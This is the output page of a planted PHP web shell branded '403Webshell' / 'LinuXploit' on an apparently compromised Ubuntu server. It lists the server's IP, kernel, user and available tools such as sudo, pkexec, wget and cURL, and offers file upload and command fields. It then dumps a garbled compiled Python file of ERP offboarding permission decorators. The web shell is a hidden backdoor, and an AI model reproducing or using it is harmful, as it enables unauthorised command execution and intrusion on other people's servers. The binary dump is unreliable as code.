403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/offboarding/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/offboarding/__pycache__/decorators.cpython-310.pyc
o

hͦh��@s�dZddlmZddlmZmZddlmZddlm	Z	ddl
mZmZm
Z
mZe	ddd	��Ze	d
d��Ze	dd
��Ze	dd��ZdS)zq
offboarding/decorators.py

This module is used to write custom authentication decorators for offboarding module
�)�messages)�HttpResponse�HttpResponseRedirect)�render)�decorator_with_arguments)�Offboarding�OffboardingGeneralSetting�OffboardingStage�OffboardingTaskFcs���fdd�}|S)Ncs�|jj}|j���s'�s'tjj|d���tjj|d���Btjj|d���Br2�|g|�Ri|��S|j	�
dd�}d|�d�}d}||j	��vrMt|d�St
|�S)N��managers�HTTP_REFERER�/� <script>window.location.href = "�
"</script>�HTTP_HX_REQUEST�decorator_404.html)�user�employee_get�has_permr�objects�filter�existsr	r
�META�get�keysrr��request�args�kwargs�employee�previous_url�script�key��function�offboarding_employee_can_enter�perm��&/var/www/erp/offboarding/decorators.py�	_functions$
�����	
z(any_manager_can_enter.<locals>._functionr()r%r'r&r*r(r$r)�any_manager_can_entersr+c���fdd�}|S)Ncs�|jj}|j���stjj|d���r�|g|�Ri|��St�|d�|j	�
dd�}d|�d�}d}||j	��vr?t|d�St
|�S)	Nr�You dont have permission.r
rrrrr)rrrrrrrr�inforrrrrr�r%r'r(r)r*/s
��
z0offboarding_manager_can_enter.<locals>._functionr(�r%r'r*r(r/r)�offboarding_manager_can_enter-sr1cr,)Ncs�|jj}|j���stjj|d���stjj|d���r'�|g|�Ri|��St�	|d�|j
�dd�}d}||j
��vrBt
|d�Sd|�d�}t|�S)	Nrr-r
rrrrr)rrrrrrrr	rr.rrrrr)rrrr r!r#r"r/r(r)r*Ds
���
z9offboarding_or_stage_manager_can_enter.<locals>._functionr(r0r(r/r)�&offboarding_or_stage_manager_can_enterBsr2cr,)Ncsztj��}t|�d�}|r�|g|�Ri|��St�|d�|j�dd�}d}||j��vr3t	|d�Sd|�d�}t
|�S)	NFz&Feature is not enabled on the settingsr
rrrrr)rr�first�getattrrr.rrrrr)rrr�general_setting�enabledr!r#r"��feature_namer%r(r)r*Zs

z(check_feature_enabled.<locals>._functionr()r%r8r*r(r7r)�check_feature_enabledXs
r9N)F)�__doc__�django.contribr�django.httprr�django.shortcutsr�horilla.decoratorsr�offboarding.modelsrrr	r
r+r1r2r9r(r(r(r)�<module>s



Youez - 2016 - github.com/yon3zu
LinuXploit